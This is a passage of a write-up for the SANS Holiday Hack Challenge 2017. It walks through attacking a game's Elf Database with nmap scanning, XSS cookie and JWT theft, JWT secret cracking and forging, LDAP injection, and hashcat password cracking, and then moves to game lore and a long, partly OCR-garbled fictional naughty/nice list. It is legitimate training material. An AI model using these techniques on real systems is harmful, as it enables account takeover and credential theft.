                      OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
 ssh-hostkey:
   2048 8c:94:89:7e:62:35:58:fe:a7:e3:e2:18:32:99:3f:07 (RSA)
   256 c5:34:53:15:a4:95:45:cd:d9:3a:83:37:94:32:42:dd (ECDSA)
80/tcp open http nginx 1.10.3
 http-robots.txt: 1 disallowed entry
 /dev
 http-server-header: nginx/1.10.3
 http-title: Site doesn't have a title (text/html; charset=utf-8).
 Requested resource was http://edb.northpolechristmastown.com/index.html
389/tcp open ldap
fingerprint-strings:
   LDAPBindReq:
     Version 2 not supported
   LDAPSearchReq:
     supportedLDAPVersion1
     namingContexts1
     dc=com0/
     supportedExtension1
     1.3.6.1.4.1.4203.1.11.10
B080/tcp open http Werkzeug httpd 0.12.2 (Python 2.7.13)
 http-robots.txt: 1 disallowed entry
 /dev
 http-server-header: Werkzeug/0.12.2 Python/2.7.13
 http-title: Did not follow redirect to http://edb.northpolechristmastown.com
```


NMAP OUTPUT

We portforward to port 8080 and take a look around. the /dev directory contains a txt file named LDIDF Template containing unsuprisingly, an LDIDF template. This may prove useful later on.

Directory listing for /dev/

• LDIF template.txt






Looking at the source code of the web app, It would seem that we need a cookie, and the correct np-auth token to be able to access the page. Wunorse's hint #3 talks about forging a token but to do that, we'll first need a token.


Wunorse talks about getting hit with a xss attack (Hint #2) and that's exactly what we'll do.



One time, I got a weird email with a JavaScript alert and my account got hacked. Fortunately, Alabaster was able to add some filtering on the system to prevent that from happening again. I sure hope he tested his changes against the common evasion techniques discussed on the XSS filter evasion cheat sheet.




In the support page, we know that the tickets will be checked using the web interface. We will embed a malicious xss code that will connect back to our listener with the values for the cookie and jw totken. Using the link in Wunorse's hint, we find a list of scripts¹ that we can use to test for XSS.






https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

Once we find a snippet that works we will use it in our password request. Below are the results of the XSS attempts.




In the above screentshots, we obtain the session cookie and the JWT used for authentication.

With the session cookie and JWT in hand, we can replay this back to the server using the firefox dev tools. Refreshing the page redirects us into the account page of the web application.



The web application allows us to make queries against the north pole's active directory server. In the upper right corner however, looks to be the santa panel. Unfortunately, It is only available if you are a Claus.



It looks like we'll need to trick the server into thinking we're santa claus to gain access to this panel. This can be done by forging the JWT.

To forge a working token, we need to understand the format of JWTs.

A JWT is composed of three parts, the header, typically containing the type of token (JWT) and the hashing algorithm being used; The payload, which contain the data that is being sent (referred to as claims) and finally, the signature which is the encoded header and payload signed with a secret to ensure the message wasn't changed during transit. The result is three base64 encoded strings separated by dots. This is illustrated below using an online JWT debugger¹

Encoded

eyJhbGciOiJIUzI1NiIsInR5cCI6Ikp
XVCJ9.eyJkZXB0IjoiZW5naW51ZXJpb
mciLCJvdSI6ImVsZiIsImV4cGlyZXMi
OiIyMDE3LTEyLTMxIDEyOjAwOjQ3LjI
00DA5MyswMDowMCIsInVpZCI6ImFsYW
Jhc3Rlci5zbm93YmFsbCJ9.3ALmwUcs
znDm60kxwoDIooS2qQLKvcX6B0z4VZaMis

Decoded

```
HEADER:

{
    "alg": "HS256",
    "typ": "JWT"
}

PAYLOAD:

{
    "dept": "engineering",
    "ou": "elf",
    "expires": "2017-12-31
12:00:47.248093+00:00",
    "uid": "alabaster.snowball"
}

VERIFY SIGNATURE

HMACSHA256(
    base64UrlEncode(header) + "." +
    base64UrlEncode(payload),
    secret
)    □secret base64 encoded
```

JWT.10

Before we can forge the token, a key is needed to sign it. Wunorse mentions the possiblity of weak keys being used for the token. This time, we'll try brute forcing the key using a tool called jwt-cracker¹ after a few moments the key is cracked and the secret is revealed to be 3lv3s

```
root@kali:/tmp/c-jwt-cracker# ./jwtcrack eyJhbGci0iJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW512XJpbmciLCJvdSI6ImVs
ZiIsImV4cGlyZXMi0iIyMDE3LTA4LTE2IDEyOjAw0jQ3LjI00DA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.M7Z4I3CtrWt4SGwfg
7mi6V9_4raZE5ehVkI9h04kr6I
Secret is "31v3s"
```

Now that we have the key, we can forge tokens using pyjwt^{3.} In the UID field, we'll try santa.claus. We'll also change the expiration to a valid date in the future.

```
root@kali:/tmp/c-jwt-cracker# pyjwt --key=31v3s encode dept=engineering ou=elf expires="2017-12-31 12:00:47.248093+00:
00" uid=santa.claus
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiZW5naW51ZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE3LTEyLTMxIDEyOjAwO
jQ3LjI00DA5MyswMDowMCIsInVpZCI6InNhbnRhLmNsYXVzIn0.4ohFZAK1GEzhyz3CogVDVbG0KIaagRFwDbCbC6CON3k
```

¹ https://jwt.io/#debugger-io


² https://github.com/brendan-rius/c-jwt-cracker

³ https://github.com/jpadilla/pyjwt

Using the newly-generated token, we attempt to access the database again. Looking at our profile, we can see that we have succesfully logged in as santa claus. Unfortunately, we still get the same error message. Using the information in the profile page, we recreate the token and correct the "ou" and "department" fields in the payload and see if we can get a different result.



This time, attempting to browse to the santa panel gives us a prompt for a password




Wunorse gives us a hint regarding an article about LDAP injection attacks against Active Directory servers¹.

LDAP and SQL injections are similar in the sense that unsanitized user input can be allowed to break out of the predefined queries and executed on the database.



For our search terms we supply "))" to close the existing query. Next we follow it up with "(|" which is equivalent to the SQL "OR" statement. Lastly we add "(cn=" to complete our query. The database will then execute it's predefined query but will return any record with a canonical name. The result is a full dump of the database.


Unfortunately, the password isn't part of the output that the database provides. Perhaps we can coax the web page to display the password values? To do this we take a look at the source code and study how the webpage displays data. Using the node inpsector tool, we select the dropdown and look at the corresponding values in the source




We see that the values for the dropdown correspond to variable names in AD.

https://pen-testing.sans.org/blog/2017/11/27/understanding-and-exploiting-web-based-ldap

Going back to the LDIF template, we can see that the password variable is named userPassword. Let's try editing the page to display the user password.




We substitute the deparment variable with userPassword and save the changes. Now, when we run our query and list all the users, the contents of the password field is displayed.



Santa's password is stored as an MD5 hash in the AD database. While it would be impossible for us to revert the hash into it's original value, there are tools available to us that we can use to attempt to brute force the hash, given a large enough wordlist. For this instance, we'll use the rockyou wordlist

The tool hashcat claims to be the world's fastest password recovery tool. True to it's name, it cracks the hash within a few seconds. Santa's password is reported to be "1iwantacookie"

```
HASHCAT
       li:/tmp/c-jwt-cracker# hashcat cdabeb96b508f25f97ab0f162eac5a04 /usr/share/wordlists/rockyou.t:
hashcat (pull/1273/head) starting...
OpenCL Platform #1: The pocl project
 Device #1: pthread-Intel(R) Core(TM) i5-2540M CPU @ 2.60GHz, 10015/10015 MB allocatable, 1MCU
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable optimizers:
* Zero-Byte
* Precompute-Init
* Precompute-Merkle-Demgard
Meet-In-The-Middle
Early-Skip
Not-Salted
Not-Iterated
Single-Hash
 Single-Salt
 Raw-Hash
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
Watchdog: Temperature retain trigger disabled.
* Device #1: build_opts '-I /usr/share/hashcat/OpenCL -D VENDOR_ID=64 -D CUDA_ARCH=0 -D VECT_SIZE=4 -D DEVICE_TYPE=2
D DGST_R0=0 -D DGST_R1=3 -D DGST_R2=2 -D DGST_R3=1 -D DGST_ELEM=4 -D KERN_TYPE=0 -D _unroll -cl-std=CL1.2'
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
Bytes....: 139921507
Keyspace..: 14343297
* Runtime...: 2 secs
 Device #1: autotuned kernel-accel to 1024
- Device #1: autotuned kernel-loops to 1
dabeb96b508f25f97ab0f162eac5a04:1iwantacookie
                                                             [s]tatus [p]ause [r]esume [b]ypass [c]heckpoint [q]uit =>
Session..... hashcat
Status..... Cracked
Hash.Type..... MD5
Hash.Target....: cdabeb96b508f25f97ab0f162eac5a04
Time.Started....: Thu Dec 28 23:34:13 2017 (4 secs)
Time.Estimated...: Thu Dec 28 23:34:17 2017 (0 secs)
Guess.Base.....: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue....: 1/1 (100.00%)
Speed.Dev.#1....: 3093.1 kH/s (0.26ms)
Recovered.....: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress....: 13010758/14343297 (90.71%)
Rejected.....: 1862/13010758 (0.01%)
Restore.Point...: 13009734/14343297 (90.70%)
Candidates.#1....: 1jdmtyper -> 1isnot2
HWMon.Dev.#1....: N/A
Started: Thu Dec 28 23:34:07 2017
Stopped: Thu Dec 28 23:34:18 2017
```



Alas, the moment we've all been waiting for! We click on the Santa panel and are prompted for Santa's password. We supply it the output from hashcat and ...

Lo and Behold! A letter from none other than the Wizard of OZ!



THE REAL VILLAIN

9) WHICH CHARACTER IS ULTIMATELY THE VILLAIN CAUSING THE GIANT SNOWBALL PROBLEM. WHAT IS THE VILLAIN'S MOTIVE?

The character ultimately responsible for causing the giant snowball problem is Glinda, the good witch of Oz.Her motive was to stir up tensions between the munchkins and elves in order to start a war between OZ and The North Pole. She would then sell her magic and spells to both sides making a ton of money in the process.



After completing the final snowball challenge ("We're off to see the..."). A Conversation between the player and Glinda, the Good Witch is unlocked



NPC Conversation


Conversation with Glinda, the Good Witch

It's me, Glinda the Good Witch of Oz! You found me and ruined my genius plan!


You see, I cast a magic spell on the Abominable Snow Monster to make him throw all the snowballs at the North Pole. Why? Because I knew a giant snowball fight would stir up hostilities between the Elves and the Munchkins, resulting in all-out WAR between Oz and the North Pole. I was going to sell my magic and spells to both sides. War profiteering would mean GREAT business for me.


But, alas, you and your sleuthing foiled my venture. And I would have gotten away with it too, if it weren't for you meddling kids!

It looks like Glinda was the REAL villain behind the snowballs. She was hoping to stir up tensions between the munhkins and elves in order to start a war between Oz and The North Pole! But why? Because she wanted to sell her magic and spells to both sides making a ton of money in the process.
































Dear Santa,

My old friend! I wish you a very merry Christmas. Thank you for all you do to bring holiday cheer around the world

Every year, I enjoy our gift exchange — you giving me a Christmas present and I giving you a Solstice gift. We've exchanged some crazy things in the past. By my reckoning, you've given me:

- * Big Hair Hairspray
- * Pink Election Campaign Hat
- * Bacon Bandages
- Scapy the Unicorn Plush Pillow
- Princess Leia Earmuffs
- * Bacon lie with Giant 10 Remote
- * Stormtrooper Boxer Shorts

Ah what fun times! And I've given you:

- * The Nubulator
- * Garden Grome
- * Justin Bieber Toothbrush
- * Snorty the Pig Hat and Pink Gloves
- * Giant Inflatable Olaf the Snowman
- * Ariana Grande Light-up Cat Ear Headphones

Well, wait 'til you see what I've got for you this year, my friend! Jule love it!

Merry Christmas!

- he Wizard

MEMO - PASSWORD POLICY REMINDER



To: All North Pole Elves From: Alabaster Snowball

RE: Password Reuse Habits


It has been brought to my attention that many of the North Pole Elves have adopted a terrible habit of reusing passwords across multiple systems.

Please take this opportunity to refamiliarize yourself with the policy requirement for password selection, summarized here:

- You must use a different password across all systems
- Your password must include letters and special characters
- Do not write down or share your passwords with others

Thank you for your cooperation in this matter.

Merry Christmas!





BOLO: Munchkin Mole Advisory

Please be advised that the long-rumored munchkin moles are now believed to be real. After a detailed and thorough investigation, North Pole Authorities have identified two munchkins impersonating elves in Santa's workshop.

When confronted, both munchkins were able to evade elf authorities after throwing rocks and engaging in aggravated hair pulling. The pair mysteriously disappeared after speaking an unknown word sounding like "puuurzgexgull."

Munchkin Descriptions

Name: Boq Questrian

Height: Approximately 4 feet

Weight: Unknown

Appearance: Reddish skin tone, blue eyes. A single curl of hair

dominates an otherwise unremarkable hairstyle.

Warning: Boq is uncannily accurate at short-distance rock

throwing.

Name: Bini Aru

Height: Approximately 4 feet

Weight: Unknown

Appearance: Pale skin, grey eyes. Unruly black hair.

Warning: Bini is unrelenting in hair pulling.

If you see these munchkin moles, do not attempt to detain or apprehend them. Contact the North Pole Police Department for assistance.

For more information visit https://nppd.northpolechristmastown.com.

Merry Christmas!





Naughty and Nice

Submitted on this the 24th of November 2017 pursuant to the EU General Data Protection Regulation (GDPR). Infraction information in this list has been removed to protect the privacy of those identified. Subjects identified in this document may exercise their right to object to the processing of this data pursuant to GDPR Article 21 by contacting gdpr Onorthpolechristmastown.com.

Abdullah Lindsey Nice Nice Abigail Chavez Naughty Aditya Perera Adrian Kemp Nice Nice Adrian Lo Nice Adriana Sutherland Agnes Adam Nice Nice Ahmed Hernandez Nice Al Molina

Alabaster Snowball	Nice
Alejandro Burnett	Nice
Alexa Pearson	Nice
Alexander Sweeney	Nice
Alfred Slater	Nice
Alfred Yang	Nice
Alice Brock	Nice
Alice Salas	Nice
Alina Davis	Naughty
Allen Farmer	Naughty
Allen Grant	Nice
Allison Barton	Naughty
Aman Das	Nice
Amanda Dunn	Nice
Amber Rao	Nice
Amelia Mark	Nice
Amelia Saleh	Nice
Amir Shelton	Nice
Amr Rivas	Nice
Andrew Saeed	Nice
Andy Soriano	Nice
Angelica Macdonald	Nice
Anil Marquez	Nice
Anil Newman	Nice
Anna Duncan	Nice
Anthony Chin	Nice

Anthony Lang	Nice
Anthony Li	Nice
Arnold Monroe	Nice
Arthur Gray	Naughty
Ashlee Aziz	Nice
Ashlee Chen	Nice
Ashlee Hodge	Naughty
Asif Waters	Nice
Autumn Bautista	Nice
Autumn Marquez	Nice
Barb Sharma	Naughty
Belinda Prakash	Nice
Belinda Vargas	Nice
Bella Garg	Nice
Bernadette Bradley	Nice
Bernadette Holloway	Nice
Bernadette Law	Naughty
Beth Ryan	Nice
Betsy Carr	Nice
Betsy Marie	Nice
Beverly Khalil	Naughty
Bilal Lee	Nice
Billy Griffith	Nice
Bini Aru	Naughty 11:
Blake Vonaldson	Nice
Blake Nielsen	Naughty

Bob Byrne	Nice
Bonnie Clayton	Nice
Bonnie Maher	Nice
Bonnie Roberts	Naughty
Bog Questrian	Naughty
Bradley Andrews	Nice
Brenda Krishnan	Nice
Brendan Cunningham	Naughty
Brendan Ibrahim	Nice
Brendan Rivera	Nice
Brent Pascual	Nice
Bridget Buckley	Nice
Brittany Castillo	Nice
Brittney Colon	Nice
Brittney Frost	Nice
Brooke Phillips	Naughty
Bruce Aggarwal	Nice
Bryan Freeman	Nice
Bushy Evergreen	Nice
Byron Foster	Nice
Caleb Delacruz	Nice
Cameron Maxwell	Nice
Camille Goel	Nice
Camille Silva	Nice
Camille Velez	Nice
Candice Ford	Nice

Cara Hudson	Nice
Carla Buchanan	Naughty
Carlo Arora	Nice
Carlos Potter	Nice
Carlos Whitehead	Nice
Carol Peralta	Nice
Carrie Garcia	Nice
Carrie Nixon	Nice
Casey Walters	Nice
Cathy Nair	Nice
Charles Mathews	Nice
Charlotte Prasad	Nice
Charlotte Rich	Nice
Charmaine Gurung	Nice
Charmaine Joseph	Naughty
Chase Siddiqui'	Nice
Chase Vincent	Nice
Cherry Hurst	Nice
Chloe Allen	Nice
Chloe Moran	Nice
Christy McMillan	Nice
Christy Srivastava	Naughty
Christy Woods	Nice
Cindy Lou Who	Naughty
Cindy Patil	Naughty
Cindy Patrick	Naughty

Cj Landry	Nice
Claire Gurung	Naughty
Cody Khalil	Nice
Corey Malhotra	Nice
Courtney Kramer	Nice
Craig John	Naughty
Cartis Summers	Nice
Dale Choi	Nice
Damian Bhardwaj	Naughty
	Nice
Damien Norton	
Damien Peter	Nice 11.
Damon Newton	Nice 11.
Darren Shrestha	Nice
Darryl Dalton	Nice
Daryl Flores	Nice
Dave Bowen	Nice
David Ballard	Nice
Deanna Richardson	Naughty
Deb Chase	Nice
Deepak Obrien	Naughty
Dennis Richard	Nice
Derrick Christian	Nice
Diego Chu	Nice
Diego Davenport	Nice
Dina Odonnell	Nice
Dominique Bennett	Nice
	, ,

Donald Jane	Nice
Donald Johns	Nice
Donna Adams	Nice
Doreen Adam	Nice
Doreen Griffith	Nice
Dr. Who	Naughty
Dwayne Manuel	Nice
Edith Anderson	Nice
Edwin Pandey	Nice
Elaine Amin	Nice
Ella Soni	Nice
Ellen Gordon	Nice
Erika Norton	Nice
Erin Tran	Naughty
Erin Wells	Nice
Ernest Gillespie	Nice
Ernest Rai	Nice
Ernest Robbins	Nice
Eugene Gandhi	Nice
Eva Peter	Nice
Evelyn Bryan	Nice
Evelyn Horn	Nice
Faith Harding	Naughty
Farah Koh	Nice
Fatima Moss	Nice
Felix McLean	Naughty

Frances Ibrahim	Nice
Francisco Villanueva	Nice
Frank Chung	Nice
Gabriela Brown	Nice
Gabrielle Blue	Nice
Gabrielle Pierce	Nice
Gareth Patel	Nice
Garry Tan	Nice
Gene Cunningham	Nice
Gene Walsh	Nice
Gerald Becker	Nice
'a	Nice
Gillian Fernandes	
Gillian Henderson	Nice 11:
Gordon White	Nice 11.
Grace Cruz	Nice
Grace Holmes	Nice
Grant Prakash	Nice
Greg Benson	Nice
Greg Chung	Nice
Gwen Hanson	Naughty
Haley Davidson	Nice
Hanna Allen	Nice
Harold Ayala	Nice
Heidi Diaz	Naughty
Henry Turner	Nice
Henry Williams	Nice
U	

Holly Evergreen	Nice
Hunter Carrillo	Nice
Iris Shaffer	Nice
Isabel Toyce	Nice
Isabel Mehta	Nice
Isabel Williamson	Nice
luy Lai	Nice
Jackson Yee	Nice
Jacqueline Hawkins	Nice
Jacqueline Smart	Nice
Jared Islam	Nice
Jasmin Sampson	Nice
Jason Santos	Nice
Jay Saunders	Naughty
Jeanette Tanner	Naughty
Teffrey Oconnell	Naughty
Ten David	Nice
Ten Rodriguez	Nice
Ten Santos	Nice
Tennifer Haddad	Naughty
Teremiah Bradshaw	Nice
Jeremy Khan	Nice
Jess Aziz	Naughty
Tessica Boyle	Nice
Till Burke	Nice
Till Calderon	Nice

Tillian Chandra	Nice
Tillian May	Nice
Tim Chen	Nice
Tim Foster	Nice
Jodi Espinoza	Nice
Jodie Perera	Nice
Johan Kirby	Nice
Johan Oconnor	Nice
John Coleman	Nice
John Vaughn	Nice
Johnny Potter	Nice
Jojo Costa	Nice
Joseph Salazar	Nice
Josephine Howard	Naughty
Cosepiune Howard	1 1 1111/2 11 1/2
Joy Chandler	Nice
Joy Chandler Joy Kramer	Nice Nice
Joy Chandler Joy Kramer Joyce Franco	Nice Nice Nice
Toy Chandler Toy Kramer Toyce Franco Tuanita Burgess	Nice Nice
Toy Chandler Toy Kramer Toyce Franco Tuanita Burgess Tuanita Gurung	Nice Nice Nice Naughty
Joy Chandler Joy Kramer Joyce Franco Juanita Burgess Juanita Gurung Juanita Thompson	Nice Nice Nice Naughty Nice
Toy Chandler Toy Kramer Toyce Franco Tuanita Burgess Tuanita Gurung Tuanita Thompson Tuliet Robbins	Nice Nice Nice Naughty Nice Nice
Toy Chandler Toy Kramer Toyce Franco Tuanita Burgess Tuanita Gurung Tuanita Thompson Tuliet Robbins Tulio Duffy	Nice Nice Nice Naughty Nice Nice
Toy Chandler Toy Kramer Toyce Franco Tuanita Burgess Tuanita Gurung Tuanita Thompson Tuliet Robbins Tulio Duffy Tunior Ferguson	Nice Nice Nice Naughty Nice Nice Nice
Joy Chandler Joy Kramer Joyce Franco Juanita Burgess Juanita Gurung Juanita Thompson Juliet Robbins Julio Duffy Junior Ferguson Justine Winters	Nice Nice Nice Naughty Nice Nice Nice Nice
Toy Chandler Toy Kramer Toyce Franco Tuanita Burgess Tuanita Gurung Tuanita Thompson Tuliet Robbins Tulio Duffy Tunior Ferguson	Nice Nice Nice Naughty Nice Nice Nice Nice

Karina Chavez	Nice
Karina Cortez	Nice
Karina Russo	Nice
Karl Baldwin	Nice
Karl Burnett	Nice
Kat George	Nice
Kate Boyle	Nice
Kathryn McIntosh	Nice
Katrina Maria	Nice
Katy Bond	Naughty
Katy Chen	Nice
Kay Freeman	Nice
Keith Power	Nice
Kelli Grimes	Nice
Kellie Petersen	Nice
Kelly Bowers	Nice
Kelly Fox	Nice
Kendra Krishna	Nice
Kenneth Myers	Nice
Kenny Fletcher	Nice
Kirsty Evans	Naughty
Kris Swanson	Nice
Kris Thornton	Nice
Krishna Hubbard	Nice
Kristine Burns	Nice
Krystal Rios	Nice
101 93 000 1(100	11100

Lana Ansari	Nice
Lana Jennings	Nice
Lance Bautista	Nice
Lance Dee	Nice
Lance Montoya	Naughty
Larry Massey	Nice
Larry McIntosh	Nice
Lauren Lucas	Nice
Lea Burns	Nice
Lea Mendez	Nice
Leah Williams	Nice
Lee Bowers	Nice
Leigh McKinney	Nice
Leslie Tanner	Nice
Lina Koch	Nice
Lina Villa	Naughty
Lindsey Lambert	Nice
Logan Griffith	Nice
Logan Harmon	Naughty
Lois Aquino	Nice 11:
Lorena Dominguez	Nice 11:
Lorena Lindsay	Nice 11:
Lori George	Nice No. 14
Lori Mohamed	Naughty N:
Louie Rich	Nice Nice
Louie Stevens	11100

Louis Leon	Naughty
Lucas Daly	Naughty
Lucas Johnson	Nice
Lucas Raj	Nice
Lucy Allen	Nice
Luis Sinclair	Nice
Lyn Riley	Nice
Lynne Olsen	Nice
Lynne Olson	Nice
Lynne Rodgers	Naughty
Maggie Khan	Naughty
Malcolm Prasad	Nice
Manish Jefferson	Nice
Manuel Graham	Naughty
Marc Michael	Nice
Marcus Schmidt	Nice
Margie Ferguson	Nice
Margie Hoffman	Naughty
Marian Brewer	Nice
Marian Dalton	Nice
Marian Kent	Naughty
Mariana Reese	Nice
Marie Keller	Nice
Marilyn Malone	Nice
Marion Manning	Naughty
Marissa Gabriel	Nice
1-141 1004 Yubi 100	11100

Marissa Whitehead	Nice
Mark Frank	Naughty
Mark Payne	Nice
Marvin Sim	Nice
Mary Bee	Nice
Mary English	Nice
Mary Hodge	Nice
Maurice Delgado	Nice
Maurice Jarvis	Nice
Max Solomon	Nice
Meagan Donovan	Naughty
Meg Johnson	Nice
Mel Chandler	Naughty
Mel Matthews	Nice
Mel Russell	Nice
Melinda Charles	Nice
Melissa Mendez	Nice
Melissa Perera	Nice
Meredith Cheung	Nice
Mia Hartman	Nice
Michael Burgess	Nice
Micheal Ahmad	Nice
Michelle Leach	Nice
Mike Goel	Naughty
Mina Benson	Nice
Mina Teo	Nice

Mindy Winter	Nice
Minty Candycane	Nice
Miranda Samson	Nice
Miriam Fox	Nice
Miriam Graham	Nice
Missy Hewitt	Nice
Missy Ray	Nice
Missy Wilson	Nice
Mohammed Poole	Nice
Mohammed Prince	Nice
Mohd Guy	Nice
Mohit Žimmerman	Naughty
Molly Omar	Nice
Mona Murray	Nice
Monica Bryan	Nice
Monica Roy	Nice
Monique Gillespie	Naughty
Mostafa Bell	Nice
Mostafa Carpenter	Nice
Nadia Buchanan	Naughty
Nana Davidson	Nice
Nancy Tan	Nice
Naomi Abdullah	Nice
Naomi Schultz	Nice
Nate Bowers	Nice
Nathan King	Nice

Nathan Tanner	Nice
Nathaniel Allen	Nice
Nathaniel Matthews	Nice
Neha Shaikh	Nice
Neil Lu	Nice
Nicholas Landry	Nice
Nicholas Thornton	Nice
Nicky Knox	Nice
Nicola Tanner	Nice
Nicolas Juarez	Nice
Nicolas Michael	Nice
Nigel Brennan	Nice
Nikhil Moore	Nice
Nikhil Norman	Nice
Nina Fitzgerald	Naughty
Nitin Ma	Nice
Noah Maher	Nice
Norma Moran	Nice
Nur Anthony	Nice
Nur Ismail	Nice
Oliver Garza	Nice
Oliver Pandey	Nice
Omar Fuentes	Nice
Pam Chan	Naughty
Pat Bradshaw	Nice
Patricia Guy	Naughty

Paul Newton	Nice
Pedro Abbott	Nice
Pepper Minstix	Nice
Phillip Sheikh	Naughty
Pierre Bruce	Nice
Pierre Poole	Nice
Praveen Armstrong	Nice
Prince Brock	Nice
Prince Cannon	Nice
Priya Ray	Nice
Rachael Frazier	Nice
Rachael Reilly	Nice
Rachelle Brewer	Naughty
Rafael Lane	Nice
Raj Figueroa	Nice
Rana Abbott	Naughty
Rana Chang	Nice
Randall Go	Nice
Raul Fraser	Nice
Ray Sharma	Naughty
Regina Ma	Nice
Rex Fischer	Naughty
Rex Larson	Naughty
Ricardo Wyatt	Nice
Rich Rojas	Nice
Richie Maria	Naughty

Rick Mark	Nice
Ricky Aguilar	Nice
Riley Lawrence	Nice
Riley Love	Nice
Roberta Forbes	Nice
Roberta Gomes	Nice
Rod Ballard	Nice
Roger Acosta	Nice
Ron Oneill	Nice
Ross Garrett	Nice
Roxanne Cervantes	Nice
Roy Simmons	Nice
Ruben Woodward	Nice
Ryan Fisher	Nice
Sabrina Lane	Nice
Sam Bhardwaj	Nice
Sami Gatierrez	Nice
Sami Sandoval	Nice
Samuel Reyes	Nice
Sandeep Cameron	Nice
Sandeep Quinn	Nice
Sandeep Santos	Nice
Sandra Osborne	Naughty
Sandy Blake	Nice
Sandy Rodriguez	Nice
Sanjay Campbell	Nice

Sanjay Hammond	Nice
Sara Mark	Naughty
Sasha Chin	Nice
Saurabh Chow	Nice
Scott Islam	Nice
Sean Lin	Nice
Sergio Hancock	Nice
Seth Barr	Nice
Shane Armstrong	Nice
Sharon Greene	Nice
Shaun Low	Nice
Shaun Miller	Naughty
Shawn Arora	Nice
Shawn Peralta	Nice
Sheila Ann	Nice
Shelby Saunders	Nice
Shelley Elizabeth	Nice
Shelley Meyers	Nice
Sheri Ahmed	Nice
Sheri Lewis	Naughty
Sherri Carter	Nice
Sheryl Atkins	Nice
Shinny Upatree	Nice
Silvia Muller	Nice
Simon Greene	Nice
Simon Pope	Nice

Simon Samson	Nice
Sofia Cortez	Nice
Sofia Mark	Nice
Sophia Aguilar	Nice
Sparkle Redberry	Nice
Stacey Beck	Nice
Stacey Kerr	Nice
Stacy McMahon	Nice
Stefan Ramos	Nice
Stefanie Chauhan	Nice
Stella Snow	Nice
Stephanie Harrison	Nice
Stephen Parks	Naughty
Steve Boyle	Nice
Steven Greer	Nice
Suger Plum Mary	Nice
Sumit Anand	Nice
Sunil Oliver	Nice
Susan Garcia	Nice
Suzanne Hanna	Nice
Suzanne Hart	Nice
Suzanne Richard	Nice
Sydney Ram	Nice
Syed Dillon	Nice
Sylvia Scott	Nice
Tania Buchanan	Nice

Tarpin Mc Tingle hauser	Nice
Taylor Santos	Nice
Ted Gould	Naughty
Teddy Hobbs	Nice
Teri Tolentino	Nice
Tiffany Long	Nice
Tina Humphrey	Naughty
Tj Cox	Nice
Tj McCoy	Nice
Todd Anand	Nice
Tom Reilly	Nice
Toni Rodriguez	Nice
Tori Gillespie	Nice
Tori Perkins	Nice
Tori Roman	Nice
Tracey Rowe	Naughty
Trevor Clements	Nice
Trevor Parks	Nice
Trey Harvey	Nice
Ty Ferreira	Nice
Val Garner	Naughty
Vanessa McGuire	Nice
Vera Harrington	Nice
Vera Palmer	Nice
Vera Thakur	Nice
Vera Tiwari	Nice

Vicki Nielsen Nice Nice Vickie Solis Nice Victoria Joyce Vijay Robbins Naughty Vikas Barker Nice Nice Vikas Gee Nice Wanda Gurung Wanda Steele Nice Wesley Morton Naughty Wunorse Openslae Nice Yvonne Willis Nice Zac Oconnell Nice

SPECIAL THANKS

A SPECIAL THANKS TO ALL OF THIS YEAR'S PARTICIPANTS WHO LENT A HELPING HAND AND FOR MAKING THIS YEAR'S HOLIDAY HACK CHALLENGE MERRY AND BRIGHT

AND A VERY SPECIAL THANKS TO ALL THE FOLKS AT COUNTER HACK FOR PUTTING TOGETHER SUCH AN AMAZING ONLINE EVENT!

UNTIL NEXT YEAR!

-JASON